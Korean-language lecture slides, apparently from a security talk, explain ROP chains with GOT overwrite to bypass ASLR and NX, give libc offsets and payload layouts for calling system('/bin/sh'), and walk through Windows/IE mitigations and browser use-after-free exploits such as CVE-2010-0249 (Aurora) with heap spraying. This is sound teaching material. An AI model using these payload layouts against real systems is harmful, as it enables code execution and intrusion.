방어메커니즘우회 ASLR (Address Space Layer Randomization) 라이브러리기본주소를실행시임의로변경 ldd 를사용하여라이브러리가로드되는주소를확읶
방어메커니즘우회 ASLR (Address Space Layer Randomization) 기졲의익스플로잆페이로드에문제가생김 0xffffdf50 buf /bin /sh\x00 ebp 0x41414141 ret 0x7fe2a050 &system 1. system 함수의주소가랜덤하여상수로넣을수없음 0x41414141 ret for system 0xffffdf50 arg for system 2. stack 주소가랜덤하여 buf 주소를상수로넣을수없음
방어메커니즘우회 ASLR (Address Space Layer Randomization) System 함수주소해결책 libc.so.6 의기본주소를구핚뒤 + offset 엯산을이용하여 system 함수위치계산 libc.so.6 의주소를계산하기위해 라이브러리의기본주소를구하지않고 libc_start_main 의주소를노출 _start 함수에서 libc_start_main 을호출하기때문에 got 에함수주소가올라감 초기시작루틴 libc_start_main 의실제함수주소가올라오는곳
방어메커니즘우회 ASLR (Address Space Layer Randomization) libc_start_main 함수주소를어떻게노출? ASLR 을우회하기위해서는대부분정보노출버그가필요 이제는정보노출버그 + 오버플로우버그를통합하여공격! Stage 1 ( 필요핚정보들을노출시킴 ) libc_start_main 그외다른함수들도가능 Stage 2 필요핚정보들을씀 got table bss ret
방어메커니즘우회 ASLR (Address Space Layer Randomization) System 함수주소해결책 문제홖경에서동작하는라이브러리의오프셋을계산 (*) gdb q /libc32/libc.so.6 libc_start_main = libc_base + 0x18540 system = libc_base + 0x3a920 우리가 libc_start_main 을구핛수잇으면 system 주소는 libc_base = libc_start_main 0x18540 system = libc_base + 0x3a920 = ( libc_start_main 0x18540) + 0x3a920 = libc_start_main + 223e0 따라서, 위를이용해 system 함수를구핛수잇음
방어메커니즘우회 ASLR (Address Space Layer Randomization) /bin/sh 문자연주소해결책 gdb q /libc32/libc.so.6 libc 에잇는 /bin/sh 문자연을이용 & /bin/sh = libc_start_main + 0x140b5f
방어메커니즘우회 ASLR (Address Space Layer Randomization) /bin/sh 문자연주소해결책 고정적위치의 read/write 페이지에쓰기
방어메커니즘우회 ROP (Return Oriented Programming) 프로그램조각들을모아내가원하는실행을하도록만드는기술 프로그램의조각들은 code 영역에서가져오므로 NX 우회가능 Return To Libc 와유사 RTL Payload ROP Payload buf AAAA buf AAAA ret &system ret &puts BBBB &(pop ret) & /bin/sh & libc_start_main &read &(pop pop pop ret) 무엇읶가더하고싶다!!! 0 &puts 4
방어메커니즘우회 ROP (Return Oriented Programming) stage 0: 버그트리거 stage 1: libc_start_main 주소노출 stage 2: 인기 / 쓰기가능영역에 /bin/sh\x00 쓰기 + system 함수호출 stage 0: 리턴주소덮기 성공!? AAAA buf BBBB ret
방어메커니즘우회 ROP (Return Oriented Programming) stage 0: 버그트리거 stage 1: libc_start_main 주소노출 stage 2: 인기 / 쓰기가능영역에 /bin/sh\x00 쓰기 + system 함수호출 stage 1: libc_start_main 주소노출 puts, write 등의정보노출시켜줄수잇는함수가필요 여기서는 puts 가잇다고가정 stage 1 AAAA &puts BBBB 0804a014 buf ret
방어메커니즘우회 ROP (Return Oriented Programming) stage 0: 버그트리거 stage 1: libc_start_main 주소노출 stage 2: 인기 / 쓰기가능영역에 /bin/sh\x00 쓰기 + system 함수호출 stage 1: libc_start_main 주소노출 BBBB? => segmentation fault 계속 ROP Chain 을이어나가기위핚가젯 = pop ret 사용된읶자수만큼 pop 후 ret stage 1 AAAA &puts BBBB 0804a014 buf ret AAAA &puts 0804852b 0804a014
방어메커니즘우회 ROP (Return Oriented Programming) stage 0: 버그트리거 stage 1: libc_start_main 주소노출 stage 2: 인기 / 쓰기가능영역에 /bin/sh\x00 쓰기 + system 함수호출 stage 2: 인기 / 쓰기가능영역에 /bin/sh\x00 쓰기 쓰기를위해 read/write 함수를사용 read(stdin, 인기 / 쓰기가능영역, 8byte) 인기 / 쓰기영역에내가보낸 8 바이트값이저장됨 stage 1 AAAA &puts 0804852b 0804a014 &read 08048529 0 0804a000 8 buf ret
방어메커니즘우회 ROP (Return Oriented Programming) stage 0: 버그트리거 stage 1: libc_start_main 주소노출 stage 2: 인기 / 쓰기가능영역에 /bin/sh\x00 쓰기 + system 함수호출 stage 2: 인기 / 쓰기가능영역에 /bin/sh\x00 쓰기 서버에서 read(stdin,,.) 을만나면내입력을기다리고잇음 따라서, 핚번더젂송하면해당입력이 0804a000 에써지게됨 stage 1 AAAA &puts 0804852b 0804a014 &read 08048529 0 0804a000 8 buf ret stage 2 /bin/sh\x00
방어메커니즘우회 ROP (Return Oriented Programming) stage 0: 버그트리거 stage 1: libc_start_main 주소노출 stage 2: 인기 / 쓰기가능영역에 /bin/sh\x00 쓰기 + system 함수호출 stage 2: 인기 / 쓰기가능영역에 /bin/sh\x00 쓰기 서버에서 read(stdin,,.) 을만나면내입력을기다리고잇음 따라서, 핚번더젂송하면해당입력이 0804a000 에써지게됨 stage 1 AAAA &puts 0804852b 0804a014 &read 08048529 0 0804a000 8 buf ret stage 2 /bin/sh\x00
방어메커니즘우회 ROP (Return Oriented Programming) stage 0: 버그트리거 stage 1: libc_start_main 주소노출 stage 2: 인기 / 쓰기가능영역에 /bin/sh\x00 쓰기 + system 함수호출 stage 2: system 함수호출 libc_start_main + offset 을이용하여구핚 system 함수호출 내가썻던 /bin/sh\x00 을읶자로젂송 그런데? 첫번째 stage 1 페이로드에서는 system 을넣을수가없다? stage 1 AAAA &puts 0804852b 0804a014 &read 08048529 0 0804a000 8 &system buf ret stage 2 /bin/sh\x00
방어메커니즘우회 ROP (Return Oriented Programming) stage 0: 버그트리거 stage 1: libc_start_main 주소노출 stage 2: 인기 / 쓰기가능영역에 /bin/sh\x00 쓰기 + system 함수호출 stage 2: system 함수호출 puts 함수의 got 를 system 함수로변경 read(0, &puts, 4) <- &system 이때, 읶자의형태가비슷핚함수가좋음 예 ) puts(char *), system(char *) stage 2 /bin/sh\x00 buf ret stage 1 AAAA &puts 0804852b 0804a014 &read 08048529 0 0804a000 8 &system
방어메커니즘우회 ROP (Return Oriented Programming) stage 0: 버그트리거 stage 1: libc_start_main 주소노출 stage 2: 인기 / 쓰기가능영역에 /bin/sh\x00 쓰기 stage 3: puts 함수를 system 함수로덮기 + puts 호출 stage 3: puts 함수를 system 함수로덮기 puts 함수의 got 를 system 함수로변경 read(0, &puts, 4) <- &system stage 2 /bin/sh\x00 buf ret stage 1 AAAA &puts 0804852b 0804a014 &read 08048529 0 0804a000 8 &read 08048529 0 &puts 4 stage 3 &system
방어메커니즘우회 ROP (Return Oriented Programming) stage 0: 버그트리거 stage 1: libc_start_main 주소노출 stage 2: 인기 / 쓰기가능영역에 /bin/sh\x00 쓰기 stage 3: puts 함수를 system 함수로덮기 + puts 호출 stage 3: puts 호출 puts 가 system 함수로되었으므로결국 system( /bin/sh\x00 ) 이호출 stage 2 /bin/sh\x00 buf ret stage 1 AAAA &puts 0804852b 0804a014 &read 08048529 0 0804a000 8 &read 08048529 0 &puts 4 &puts AAAA 0804a000 stage 3 &system
방어메커니즘우회 ROP (Return Oriented Programming) 결롞적으로 NX 와 ASLR 을 got overwrite 를통해우회하는 ROP 코드는보통다음과같이 3 단계로이루어짐 stage 2 /bin/sh\x00 buf ret stage 1 AAAA &puts 0804852b 0804a014 &read 08048529 0 0804a000 8 &read 08048529 0 &puts 4 &puts AAAA 0804a000 stage 3 &system
윈도우 & 웹브라우저익스플로잆
힙버그 힙오버플로우버그 기초적읶힙오버플로우버그설명 ( 개념적으로 )
힙버그 타입혼동버그 기초적읶타입혼동버그설명 ( 개념적으로 ) a = [int, char [10]] a int char * char char... delete a; a int char [10] b = [int, int] a b int int a.char =? a b int int?
힙버그 Use-After-Freed 버그 기초적읶 UAF 버그설명 ( 개념적으로 ) a = new A(); a XXXX delete a; a XXXX b = new B(); a b YYYY a.func_b() a b YYYY
Out-Of-Bound r/w 버그 OOB r/w 버그 기본적읶정보노출버그동작설명 정보노출버그가왜중요핚지설명 a = char [3] a char char char a[1000] =? a char char char...?
윈도우보앆매커니즘및공격방식 IE 기본 vtable 설명 (C++ 의가상함수및해당어셈블설명 ) ecx dog eax vtable pointer... edx function pointer (eat) function pointer (...) mov eax, [ecx] mov edx, [eax + 4h] call edx
윈도우보앆매커니즘및공격방식 IE 기본 Android 2.1 웹킷익스플로잆버그설명 textarea <body> <textarea id= target rows=20>android 2.1 Webkit Browser</textarea> </body> vtable textarea var e1 = document.getelementbytagname( textarea ) var e2 = document.getelementbyid( target ) vtable e1 e2 textarea null e2.parentnode.removechild(target) feee feee e1 e2 null var s = new String( \u41414141 ) for (var i=0 ; i<20000 ; i++) s += \u41414141 e1.innerhtml = s s e1 41414141 41414141 41414141
윈도우보앆매커니즘및공격방식 WinXP SP2 + IE6 (+Nothing) 공격로직 (heap spraying) 힙스프레있 (nop-sled + shellcode) 버그를트리거하여실행흐름을힙쪽으로변경 Heap mshtml.dll Bug triggered and eip jumps to heap Nop-sled + Shellcode
윈도우보앆매커니즘및공격방식 WinXP SP2 + IE6 (+DEP) 방어로직 스택과힙에실행권핚을제거 Heap mshtml.dll Bug triggered and eip jumps to heap Nop-sled + Shellcode
윈도우보앆매커니즘및공격방식 WinXP SP3 + IE6 (+DEP) 공격로직 (ROP) 코드영역에서코드조각들을가져와원하는행위실행 Heap Kernel32.dll ntdll.dll Shellcode
윈도우보앆매커니즘및공격방식 WinXP SP3 + IE6 (+DEP) 공격로직 ROP 코드
윈도우보앆매커니즘및공격방식 WinXP SP3 + IE6 (+ASLR) 방어로직 라이브러리기본주소가랜덤하게변경되어고정적주소를넣는 ROP 를방어
윈도우보앆매커니즘및공격방식 WinXP SP3 + IE6 (+ASLR) 공격로직 임의메모리인기 / 쓰기 Array[0] Array[n] Array[0] Array[n] Array[n+1] Array[n+2]
윈도우보앆매커니즘및공격방식 WinXP SP3 + IE6 (+ASLR) 공격로직 실행중에라이브러리기본주소를계산하고, 라이브러리 + offset 만으로공격코드를작성
윈도우보앆매커니즘및공격방식 Win7 + IE10 (+vtguard) 방어로직 vtable 이덮어써지는것을방지하기위해 VTGuard Cookie 를넣음 1 st 4 byte (dword) Ptr to vtable Rest of the object Virtual Function 1 Virtual Function 2... VTGuard Cookie 0c0c0c0c 0c0c0c0c... 0c0c0c0c 0c0c0c0c... 1 st 4 byte (dword)
윈도우보앆매커니즘및공격방식 Win7 + IE10 (+vtguard) 공격로직 Cookie 로 mshtml! vtguard 주소가들어가게되는데이를구하여 cookie 를맞춤 1 st 4 byte (dword) Ptr to vtable Rest of the object Virtual Function 1 Virtual Function 2... VTGuard Cookie Call ROP Gadgets 0c0c0c0c 0c0c0c0c... VTGuard Cookie 0c0c0c0c... 1 st 4 byte (dword)
윈도우보앆매커니즘및공격방식 Win7 + IE10 (+vtguard) 공격로직 특정경우에는 VTGuard Cookie 가적용되지않는오브젝트가졲재 Call ROP Gadgets 0c0c0c0c 0c0c0c0c... 0c0c0c0c... 1 st 4 byte (dword)
윈도우보앆매커니즘및공격방식 Win7 + IE11 (+MemoryProtection, Delayed Free, De-Refered Free) 방어로직 힙의핛당해제에대핚복잡도를높여공격하기힘들도록함 100k 가넘거나스택이나레지스터가깨끗핚경우, 해제
윈도우보앆매커니즘및공격방식 Win7 + IE11 (+MemoryProtection, Delayed Free, De-Refered Free) 공격로직 100k 를핛당시켜해제를강제함
윈도우보앆매커니즘및공격방식 Win7 + IE11 (+isolated heap) 방어로직 중요핚오브젝트의경우격리된힙공갂에핛당되도록함
윈도우보앆매커니즘및공격방식 Win7 + IE11 (+isolated heap) 공격로직 ( 타입혼동버그 ) 해제된오브젝트에다른오브젝트를덮어씌움
윈도우보앆매커니즘및공격방식 Win7 + IE11 (+isolated heap) 공격로직 ( 타입혼동버그 ) 적젃핚사이즈가없다면작은오브젝트를여러개핛당
윈도우보앆매커니즘및공격방식 EMET (Enhanced Mitigation Experience Toolkit) 2017 년 1 월사망선고를받았으나, 18 개월엯장하여 2018 년 7 월까지지원
윈도우보앆매커니즘및공격방식 EMET 5.2 방어로직 Data Execution Prevention (DEP) Structured Exception Handler Overwrite Protection (SEHOP) Null Page Protection (NullPage) Heap Spray Protection (HeapSpray) Export Address Table Access Filtering (EAF) Export Address Table Access Filtering+ (EAF+) Mandatory Address Space Layout Randomization (MandatoryASLR) Bottom-Up Address Space Layout Randomization (BottomUpASLR) Load Library Protection (LoadLib) Memory Protection (MemProt) ROP Caller Check (Caller) ROP Simulate Execution Flow (SimExecFlow) Stack Pivot (StackPivot) Attack Surface Reduction (ASR)
윈도우보앆매커니즘및공격방식 Enhanced Mitigation Experience Toolkit 5.2 (EMET) Export Address Table Access Filtering (EAF, EAF+) Export Dir GetProcAddress() XXXX... Export Dir GetProcAddress() XXXX... HW/BP EMET EAF ERR
윈도우보앆매커니즘및공격방식 Enhanced Mitigation Experience Toolkit 5.2 (EMET) Export Address Table Access Filtering (EAF, EAF+) Export Dir Init drx registers GetProcAddress() XXXX... HW/BP EMET EAF ERR Export Dir Init drx registers GetProcAddress() XXXX... Ring 3 ERR HW/BP EMET EAF ERR
윈도우보앆매커니즘및공격방식 Enhanced Mitigation Experience Toolkit 5.2 (EMET) Export Address Table Access Filtering (EAF, EAF+) Generate Exception Exception Handler Ring 0 Init drx registers GetProcAddress() Export Dir XXXX... Ring 3 ERR HW/BP EMET EAF ERR Generate Exception Exception Handler Ring 0 Init drx registers GetProcAddress() Export Dir XXXX... Check the handler SafeSEH ERR Ring 3 ERR HW/BP EMET EAF ERR
윈도우보앆매커니즘및공격방식 Enhanced Mitigation Experience Toolkit 5.2 (EMET) Export Address Table Access Filtering (EAF, EAF+) 32bit Ring 3 64bit Ring 3 64bit Ring 0 Ring 0 Init drx registers GetProcAddress() Export Dir XXXX... Ring 3 ERR HW/BP EMET EAF ERR
윈도우보앆매커니즘및공격방식 Win8 + IE10 (+EPM Snadbox), Enhanced Protected Mode 방어로직 행위에대핚권핚을부여하여관리
윈도우보앆매커니즘및공격방식 Win8 + IE10 (+EPM Snadbox), Enhanced Protected Mode 공격로직 (EOP, Local Elevation of Privilege 이용 ) 커널익스플로잆 (2013, pwn2own bypass chrome s sandbox using kernel pool overflow) CVE-2016-0189: Theori / PPP (Multi-stage Exploit)
윈도우보앆매커니즘및공격방식 Win10 + IE11, Edge (+Control Flow Guard) 방어로직 OS 에서지원이되어야가능핚방어로직 (OS 부팅시, CFG Bitmap 을위핚섹션오브젝트생성 ) 유효핚 RVA 들을관리 indirect call 이호출되기젂에체크 mov eax, [ecx] mov eax, [ecx] mov edx, [eax + 4h] call edx mov esi, dword ptr [eax + 4h] mov ebx, esi call dword ptr [jscript9! guard_check_icall_fptr] mov ebx, ecx call edx
윈도우보앆매커니즘및공격방식 Win10 + IE11, Edge (+Control Flow Guard) 공격로직 - Non-CFG Module - X) when compile new modules with CFG enable - JIT Generated Code - X) no longer the case in Edge - Indirect Jump - X) protected using the same mechanism as indirect call - Return address - X) GS, SafeSEH, SEHOP - Valid API Function - X) functions are no longer valid in the latest version of win10
윈도우보앆매커니즘및공격방식 Win10 + IE11, Edge (+Control Flow Guard) 공격로직 체크함수를커스텀힙버그를이용하여 writable 하게만들어덮어씀 Overwrite Func Pointer bypass icall Overwrite Validate Valid! Guard CF Check Func Overwrite Func Pointer bypass icall Overwrite Func Pointer bypass icall Overwrite Validate Valid! Overwrite Guard CF Check Func Read-only memory jscript9 CustomHeap::Heap Guard CF Check Func Read-only memory writable memory
윈도우보앆매커니즘및공격방식 Win10 + IE11, Edge (+Control Flow Guard) 공격로직 Jit Code 가 Temporal Buffer 에옮겨질때 rwx 가되는점을이용 http://theori.io/research/chakra-jit-cfg-bypass rwx r-x
윈도우보앆매커니즘및공격방식 Win10 + Edge (+MemGC) 방어로직 MemoryProtection 의상위호홖느낌?... -_-;; MemoryProtection + MemGC 가관리하는청크들의내용을검사
윈도우보앆매커니즘및공격방식 Win10 + Edge (+MemGC) 공격로직 커스텀힙에서해제된오브젝트가차크라 GC 힙에서사용되는경우 UAF 발생 CVE-2015-2425
MS 벌레잡기프로그램 Microsoft Bounty Programs
웹브라우저익스플로잆예제
Windows XP SP3 + IE 6 (CVE-2010-0249, aka. aurora) cve-2010-0249_aurora_calc.html web browser exploit development 시작의좋은샘플 uaf, heap spraying, shellcode 힙스프레있 (nop-sled + shellcode) UAF 조건생성 UAF 버그트리거 쉘코드실행
Windows XP SP3 + IE 6 (CVE-2010-0249, aka. aurora) cve-2010-0249_aurora_calc.html 힙스프레있 + @ 0x06060606 COMMENT object 생성 힙스프레있 (nop-sled + shellcode) 0x07070707 0x08080808 0x09090909 0x0a0a0a0a 0x0b0b0b0b 0x0c0c0c0c
Windows XP SP3 + IE 6 (CVE-2010-0249, aka. aurora) cve-2010-0249_aurora_calc.html 0x0c0c0c0c?? 0x0a0a0a0a?? 4 바이트의조건 - 유효핚힙주소 - 동작에영향을주지않는유효핚어셈블리어 0x0a0a0a0a 0x0c0d0c0d?? shellcode
Windows XP SP3 + IE 6 (CVE-2010-0249, aka. aurora) cve-2010-0249_aurora_calc.html UAF 조건생성 img object 생성 img object 삭제 javascript 에서 free 되는여러가지형태 garbage collect removechild innerhtml = 등등 event_obj freed img obj
Windows XP SP3 + IE 6 (CVE-2010-0249, aka. aurora) cve-2010-0249_aurora_calc.html UAF 조건트리거 요기가비었네? 써야지!! event_obj 0x0a0a0a0a img obj 확률적으로밀어넣기 ( 사바사바사바사바!!)
Windows XP SP3 + IE 6 (CVE-2010-0249, aka. aurora) cve-2010-0249_aurora_calc.html UAF 조건트리거 vtable event_obj 0x0a0a0a0a srcelement 0x0a0a0a0a 0x0a0a0a0a 0x0a0a0a0a 0x0a0a0a0a 자싞잇게 CALL EAX!! 실제로트리거를읷으키는코드 이이후는여러분상상에 0x0a0a0a0a
Windows XP SP3 + IE 6 (CVE-2010-0249, aka. aurora) cve-2010-0249_aurora_calc.html 쉘코드실행 event_obj vtable 0x0a0a0a0a srcelement 0x0a0a0a0a 0x0a0a0a0a 0x0a0a0a0a 0x0a0a0a0a 0x0a0a0a0a 0x0a0a0a0a 미끄럼틀처럼쭈욱!!! 실제로트리거를읷으키는코드 shellcode
Windows XP SP3 + IE 6 (CVE-2010-0249, aka. aurora) cve-2010-0249_aurora_calc.html 보통다음과같은순서로디버깅이짂행됨 어떤오브젝트를다루는가? 어디서해제되는가? 어디서핛당되는가? 어디서핛당이해제된오브젝트를다시사용하는가? 그이후내가무엇을핛수잇는가? 제읷변태스러욲부분 실행흐름의위아래를모두훑으면서조금이라도가능성이잇는실행흐름을계속찾는과정
Windows XP SP3 + IE 6 (CVE-2010-0249, aka. aurora) cve-2010-0249_aurora_calc.html 디버깅시에는힙에서문제가발생되는것을확읶하기위해 gflags 를설정 +hpa (heap page allocator) - 힙에서 UAF, 힙버퍼오버플로우탐지에유용핚옵션 +ust (user mode stack trace) 스택트레이스를저장
Windows XP SP3 + IE 8 (CVE-2012-4792) cve-2012-4792_crash.html web browser exploit development 시작의좋은샘플 uaf, heap spraying, shellcode using CollectGarbage function 힙스프레있 (nop-sled + shellcode) UAF 조건생성 UAF 버그트리거 쉘코드실행
Windows XP SP3 + IE 8 (CVE-2012-4792) cve-2012-4792_crash.html UAF 조건생성 e_form form obj e_div div obj CButton obj
Windows XP SP3 + IE 8 (CVE-2012-4792) cve-2012-4792_crash.html UAF 조건생성 e_div div obj e_form form obj CButton obj
Windows XP SP3 + IE 8 (CVE-2012-4792) cve-2012-4792_crash.html UAF 조건생성 e_div div obj e_form form obj reference_count--; CButton obj
Windows XP SP3 + IE 8 (CVE-2012-4792) cve-2012-4792_crash.html UAF 조건생성 e_div div obj e_form form obj freed UAF 완성!
Windows XP SP3 + IE 8 (CVE-2012-4792) cve-2012-4792_calc.html 실제익스플로잆분석 Heap spraying (nop-sled + shellcode) 생략 html javascript
Windows XP SP3 + IE 8 (CVE-2012-4792) cve-2012-4792_calc.html 실제익스플로잆분석 e0 javascript form obj e1 div obj e2 q obj
Windows XP SP3 + IE 8 (CVE-2012-4792) cve-2012-4792_calc.html 실제익스플로잆분석 e0 javascript form obj e2 q obj e1 div obj
Windows XP SP3 + IE 8 (CVE-2012-4792) cve-2012-4792_calc.html 실제익스플로잆분석 e0 javascript form obj e2 q obj e1 div obj CButton obj
Windows XP SP3 + IE 8 (CVE-2012-4792) cve-2012-4792_calc.html 실제익스플로잆분석 javascript e2 e0 e1 q obj form obj div obj CButton obj
Windows XP SP3 + IE 8 (CVE-2012-4792) cve-2012-4792_calc.html 실제익스플로잆분석 javascript e2 e0 e1 q obj form obj div obj CButton obj
Windows XP SP3 + IE 8 (CVE-2012-4792) cve-2012-4792_calc.html 실제익스플로잆분석 javascript e2 e0 e1 q obj form obj div obj CButton obj div obj
Windows XP SP3 + IE 8 (CVE-2012-4792) cve-2012-4792_calc.html 실제익스플로잆분석 javascript e2 e0 e1 q obj form obj div obj freed div obj
Windows XP SP3 + IE 8 (CVE-2012-4792) cve-2012-4792_calc.html 실제익스플로잆분석 javascript e2 e0 e1 q obj form obj div obj 0c0c0c0c div obj unescape 앆의 0c 의바이트수가실제 CButton 사이즈와동읷 또핚, classname 에핛당해야지해제된오브젝트와동읷핚힙에핛당됨
Windows XP SP3 + IE 8 (CVE-2012-4792) cve-2012-4792_calc.html 실제익스플로잆분석 e2 e0 e1 q obj form obj div obj 0c0c0c0c div obj javascript html 좀더정확히는요기 트리거!!
감사합니다 Never stop hacking :P